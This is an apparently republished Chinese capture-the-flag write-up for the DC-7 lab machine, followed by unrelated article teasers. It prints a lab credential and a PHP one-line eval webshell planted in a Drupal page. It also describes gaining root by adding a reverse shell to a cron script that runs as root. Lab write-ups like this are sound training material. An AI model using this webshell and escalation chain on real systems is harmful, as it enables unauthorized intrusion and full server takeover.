DC-7靶机通关

news2024/9/21 20:30:34

         今天咱们来学习第七个靶机!!!

1实验环境

攻击机:kali2023.2

靶机:DC-7

2.1主机发现
2.2端口扫描

依旧是开了两个端口,一个 22 一个 80 !!!

3.1查看对方网页

在这里我找了半天也没有找出来是有什么线索还是什么,也尝试了找一些注入点啊或者什么的,但是都不行,总之就是卡住了,然后我看了一下题解,他这个账号密码给的很莫名其妙,是在 github上面放着的!!!其实只要百度一下就大概率能找到,但是我可能因为经验少吧,完全没想到还能这么搜,所以第一步就卡了半天,然后咱们看看接下来是怎么个是事儿!!!

4.1登录 ssh

dc7user 的密码:MdR3xOgB7#dW     给大家放这儿了,手打可能会出错!!!

这个账号密码在web上登不上去的,所以试了一下 ssh 是可以的!!!

虽然登上这个了然后就又迷茫了,因为我找了半天并没有发现什么东西!!!然后搜了一下找见一个这个东西

这是一个配置brupal网站里的一个东西,因为我并不是很了解这玩意儿,用的也不多,可能经常搞运维的人会比较了解这东西,然后大家可以稍微搜一下然后学习学习这个玩意儿,后面会用到!!!

4.2修改admin密码

通过drush这个东西可以修改用户密码!!!

这里记得要切换到 /var/www/html 目录下在执行命令,否则会失败的!!!

4.3登录admin账户

发现可以编辑一些页面,那我们自然而然就想到可不可以上传一些php代码,然后进行反弹一个shell

4.4下载php插件

我这里很呆,直接去传一句话木马,发现不行,然后查了一下才知道需要下载插件!!!

地址附给大家:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下载好以后大家安装一下即可!!!

在编辑界面有了这个选项就成功了!!!

5.1上传PHP一句话木马

<?php
@eval($_REQUEST[666]);
?>

有三个页面其实都可以,大家随便,我用的是这个欢迎界面!!!

5.2连蚁剑

5.3反弹shell
6.1梳理一下思路

前面其实我们落了一个东西!

这是一个定时执行的脚本,然后我们可以看一下他的权限!

www-date 这个用户是有读写执行的权限,但是其他用户只可以读和执行这个脚本,但是没有写的权限,这也就是为什么我们上面要拿到www这个用户的shell,我们拿到以后在这个脚本里加入反弹shell的权限,然后再执行一下这个脚本,由于执行的时候是以root身份执行的,所以会反弹给我们一个root的shell!!!

现在思路理清了!!!

7.1写脚本

成功写入我们的代码!!!

7.2执行脚本

先开启监听端口!!!

我们在dc7user的shell里执行一下这个脚本!!!

成功反弹rootshell

7.3拿下flag

怎么说呢,这个靶机也是非常有趣!!!大家做一做get一下他那个点!!!

~~~~持续更新中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967281.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构_study(六)

图 顶点的有穷非空集合和顶点之间边的集合 G(V,E)&#xff0c;G&#xff1a;图&#xff0c;V&#xff1a;顶点集合&#xff0c;E&#xff1a;边的集合 顶点&#xff1a;图中的数据元素&#xff0c;有穷&#xff0c;非空 边&#xff1a;顶点之间的逻辑关系&#xff0c;边集合…

如何编写一个多线程、非阻塞的python代码

一、【写在前面】 最近csdn每天写两篇文章有推广券&#xff0c;趁这个机会写一个python相关的文章吧。 一般我们的任务都可以分为计算密集型任务和IO密集型任务。 python因为全局GIL锁的存在&#xff0c;任何时候只有一个python线程在运行&#xff0c;所以说不能利用多核CPU…

基于人工智能技术开发的一种医疗诊断工具:智慧3D导诊系统源码

概述 智能导诊基于医疗 AI 、自然语言处理技术&#xff0c;覆盖导诊、智能问答、科普宣教等就医服务&#xff1b;智能导诊通过人体图、症状列表等形式进行疾病自测&#xff0c;快速推荐就诊科室、医生推荐。产品可应用于微信线上挂号、互联网医院、区域平台等场景中&#xff0…

【搜索核心技术】经典搜索核心算法:BM25及其变种

随着基于检索增强的生成&#xff08;Retrieval-Augmented Generation—RAG&#xff09;逐渐成为当前大模型落地方案的主流选择&#xff0c;搜索技术在这一过程中扮演着至关重要的角色。然而&#xff0c;仅依赖向量相似性检索往往无法达到理想的效果。因此&#xff0c;为了进一步…

计算机网络之http状态码和https

目录 HTTP协议 TCP/IP协议 TCP/IP的分层管理 各个协议和HTTP之间的关系 了解并区分URI和URL 返回结果的HTTP状态码 2XX 成功 2.1 200 ok 2.2 204 No Content 2.3 206 Partial Content 3xx表示重定向 3.1 301 Moved Permanently 3.2 302 Found 3.3 303 See …

探索全光网技术 | 全光网络技术方案选型建议二 (宿舍场景)

目录 一、场景设计需求二、宿舍场景拓扑三、部署方式四、产品相关规格说明五、方案优势 注&#xff1a;本文章参考资料为&#xff1a;华三官方资料 - “新华三全光网络3.0解决方案&#xff08;教育&#xff09;”与 锐捷官方资料 - “【锐捷】高校极简以太全光3.X方案设计(V1.3…

pinecone向量库的介绍和基本使用(增删改查)

本文来自于【向量库】pinecone向量库的介绍和基本使用&#xff08;增删改查&#xff09; Pinecone是一个实时、高性能的向量数据库&#xff0c;专为大规模向量集的高效索引和检索而设计。它提供亚秒级的查询响应时间&#xff0c;确保用户可以迅速获取所需信息。Pinecone采用高…

SAP与九恒星资金系统集成案例(医药行业)

一、项目环境 江西某药业有限公司是一家以医药产业为主营、资本经营为平台的大型民营企业集团。公司成立迄今&#xff0c;企业经营一直呈现稳健、快速发展的态势集团总销售额超40亿元。 为了帮助企业更好的进行资金流、结算、资金调度和运作管理、风险控制&#xff0c;济民…

计算机毕业设计选题推荐-篮球馆会员信息管理系统-Java/Python项目实战

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

前端初期知识点回顾

1.跳转&#xff1a;其中target“_blank”意思是跳转会新标签页打开 2.锚点定位&#xff1a;点击文字跳转到对应页面 3&#xff1a;表单 单元格合并 4.input属性变化 前期vue样式 5.画原神&#xff1a; 6.画学生管理系统&#xff1a; 购物车升序降序 累加函数 保留两位小数点 删…

2023年亚太杯A题:果园采摘机器人的图像识别,一二题(题目代码及结果)

问题一&#xff1a;基于附件1中提供的可收获苹果的图像数据集&#xff0c;提取图像特征&#xff0c;建立数学模型&#xff0c;计算每幅图像中的苹果的数量&#xff0c;并绘制附件1中所有苹果的分布直方图。 对于自动采摘机器人&#xff0c;首要的能力就是识别出苹果对象&#…

K3 BOS单据获取制单人工号

新建BOS单据&#xff0c;打印时有时不想在单据上体现制单人姓名&#xff0c;只要打印出工号就行了 新建时&#xff0c;在单据头增加一个“制单人工号”的字段&#xff0c;字段名一定要设置成"FBillerno"&#xff0c; 然后在插件中增加资源中的DLL 效果 套打单据中的…

爬虫:jsonpath模块及腾讯招聘数据获取

目录 jsonpath模块 腾讯招聘数据获取 jsonpath模块 # pip install jsonpath -i https://pypi.tuna.tsinghua.edu.cn/simple import jsonpathdata {"store": {"book":[{"category": "reference","author": "Nigel Ree…

电影票竞价系统:揭开神秘代码的面纱

电影票的购买方式也在不断革新。全民邀约电影票竞价系统就是这样一个创新的购票模式。今天&#xff0c;就让我们一起探索这个系统背后的代码秘密&#xff0c;看看竞价购票的代码是如何编写的。 电影票竞价系统的魅力 电影票竞价系统为广大影迷提供了一种全新的购票体验。通过该…

【计算机方向】中科院一区TOP顶刊对比!国人发文友好,“又好又水”!

今天小编带来计算机方向期刊对比&#xff0c;到底那本期刊才是你的“心尖宠”&#xff1f; 速看&#xff01;为你的心上刊打Call&#xff01; 这两本期刊&#xff0c;每个学者主观评价不同。 两本期刊含金量到底如何呢&#xff1f; 今天就跟着小编一起来了解下吧&#xff01;…

FB03 界面新增自定义字段(在业务范围gsber之后)

两个界面都是 一个screen 是1002 一个是1007 两个都要改 代码控制显示 输入 MODULE FRM_MDF_SCREEN OUTPUT.DATA:lmblnr TYPE matdoc-MBLNR.DATA:lmjahr TYPE matdoc-MJAHR.FIELD-SYMBOLS:<FS_MBLNR> TYPE matdoc-MBLNR,<FS_MJAHR> TYPE ANY,<FS_action>…

华为od机试真题:求幸存数之和(Python)

2024华为OD机试&#xff08;C卷D卷&#xff09;最新题库【超值优惠】Java/Python/C合集 题目描述 给一个正整数列nums&#xff0c;一个跳数jump&#xff0c;及幸存数量left。运算过程为:从索引为0的位置开始向后跳&#xff0c;中间跳过 J 个数字&#xff0c;命中索引为 J1的数…

private DiscoveryClient discoveryClient 爆红

private DiscoveryClient discoveryClient 爆红 大部分情况是因为导错了包&#xff0c;导成了下面的包 import com.netflix.discovery.DiscoveryClient; 但有个特殊情况导包没有导错&#xff0c;discoveryClient依然爆红 import org.springframework.cloud.client.discovery…

软考系统架构师--第2章 操作系统-2.1 操作系统的类型与结构

目录 第2章 操作系统 2.1 操作系统的类型与结构 2.1.1 操作系统的定义 2.1.2 操作系统分类 第2章 操作系统 本章主要介绍操作系统的基本概念及其形成、发展历史和主要类型&#xff0c;并指出操作系统的 5 大管理功能。掌握操作系统原理的关键在于深入理解“一个观点、两条…

宏定义和内联函数的区别?

在C编程中&#xff0c;宏定义和内联函数都是常用的代码优化方法。它们可以在编译时将代码进行优化&#xff0c;提高程序的执行效率。但是&#xff0c;它们的实现方式和使用方法有所不同。下面将详细介绍宏定义和内联函数的区别。 一、宏定义 宏定义是一种简单的代码替换方式。…